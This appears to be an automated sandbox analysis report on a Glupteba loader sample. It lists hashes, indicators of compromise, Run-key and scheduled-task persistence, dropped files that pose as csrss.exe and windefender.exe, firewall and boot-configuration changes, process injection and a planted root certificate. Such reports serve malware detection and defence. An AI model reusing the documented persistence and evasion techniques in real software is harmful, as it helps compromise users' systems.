glupteba | ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d

General

Target

ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
Size

3.8MB
MD5

ef239eb6a8c5d23334c8a7a813fbd556
SHA1

b4aa99efc4ae0896737649042b43daeaa33efbaa
SHA256

ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d
SHA512

d913c1bca7041a411fdb04031b7b3b1008035c14912058ab2b8619152e7fb8d3928e899d0e4dd6a11fccb590091aed9b1cd8c8ad9792c074e77c7d9387c4704b

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4828-131-0x0000000004B80000-0x0000000005275000-memory.dmp	family_glupteba
behavioral2/memory/4828-132-0x0000000000400000-0x000000000281E000-memory.dmp	family_glupteba
behavioral2/memory/2132-137-0x0000000000400000-0x000000000281E000-memory.dmp	family_glupteba
behavioral2/memory/1064-149-0x0000000000400000-0x000000000281E000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 944 created 4828	944	svchost.exe	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
PID 944 created 1064	944	svchost.exe	csrss.exe
PID 944 created 1064	944	svchost.exe	csrss.exe
PID 944 created 1064	944	svchost.exe	csrss.exe
PID 944 created 1064	944	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1064 csrss.exe
3888 patch.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
1064	csrss.exe
3888	patch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IcyWater = "\"C:\\Windows\\rss\\csrss.exe\""	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2492 bcdedit.exe

pid	process
2492	bcdedit.exe

Drops file in System32 directory 8 IoCs

Processes:

csrss.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	csrss.exe

Drops file in Windows directory 4 IoCs

Processes:

csrss.exeed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe

description	ioc	process
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
File created	C:\Windows\rss\csrss.exe	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
File created	C:\Windows\windefender.exe	csrss.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4248 schtasks.exe
432 schtasks.exe

pid	process
4248	schtasks.exe
432	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

csrss.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exeed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.execsrss.exe

pid	process
4828	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
4828	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
2132	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
2132	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
1064	csrss.exe
1064	csrss.exe
1064	csrss.exe
1064	csrss.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4828	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
Token: SeImpersonatePrivilege	4828	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
Token: SeTcbPrivilege	944	svchost.exe
Token: SeTcbPrivilege	944	svchost.exe
Token: SeBackupPrivilege	944	svchost.exe
Token: SeRestorePrivilege	944	svchost.exe
Token: SeBackupPrivilege	944	svchost.exe
Token: SeRestorePrivilege	944	svchost.exe
Token: SeBackupPrivilege	944	svchost.exe
Token: SeRestorePrivilege	944	svchost.exe
Token: SeBackupPrivilege	944	svchost.exe
Token: SeRestorePrivilege	944	svchost.exe
Token: SeSystemEnvironmentPrivilege	1064	csrss.exe
Token: SeBackupPrivilege	944	svchost.exe
Token: SeRestorePrivilege	944	svchost.exe
Token: SeBackupPrivilege	944	svchost.exe
Token: SeRestorePrivilege	944	svchost.exe
Token: SeBackupPrivilege	944	svchost.exe
Token: SeRestorePrivilege	944	svchost.exe
Token: SeBackupPrivilege	944	svchost.exe
Token: SeRestorePrivilege	944	svchost.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

svchost.exeed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.execmd.execmd.execsrss.exe

description	pid	process	target process
PID 944 wrote to memory of 2132	944	svchost.exe	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
PID 944 wrote to memory of 2132	944	svchost.exe	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
PID 944 wrote to memory of 2132	944	svchost.exe	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
PID 2132 wrote to memory of 4416	2132	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe	cmd.exe
PID 2132 wrote to memory of 4416	2132	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe	cmd.exe
PID 4416 wrote to memory of 4384	4416	cmd.exe	netsh.exe
PID 4416 wrote to memory of 4384	4416	cmd.exe	netsh.exe
PID 2132 wrote to memory of 4364	2132	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe	cmd.exe
PID 2132 wrote to memory of 4364	2132	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe	cmd.exe
PID 4364 wrote to memory of 364	4364	cmd.exe	netsh.exe
PID 4364 wrote to memory of 364	4364	cmd.exe	netsh.exe
PID 2132 wrote to memory of 1064	2132	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe	csrss.exe
PID 2132 wrote to memory of 1064	2132	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe	csrss.exe
PID 2132 wrote to memory of 1064	2132	ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe	csrss.exe
PID 944 wrote to memory of 4248	944	svchost.exe	schtasks.exe
PID 944 wrote to memory of 4248	944	svchost.exe	schtasks.exe
PID 944 wrote to memory of 432	944	svchost.exe	schtasks.exe
PID 944 wrote to memory of 432	944	svchost.exe	schtasks.exe
PID 944 wrote to memory of 3888	944	svchost.exe	patch.exe
PID 944 wrote to memory of 3888	944	svchost.exe	patch.exe
PID 1064 wrote to memory of 2492	1064	csrss.exe	bcdedit.exe
PID 1064 wrote to memory of 2492	1064	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
"C:\Users\Admin\AppData\Local\Temp\ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4828
- C:\Users\Admin\AppData\Local\Temp\ed5863dca5a1a18030f9730c0344dbdd2d16a323194085f577640d8addd9a87d.exe
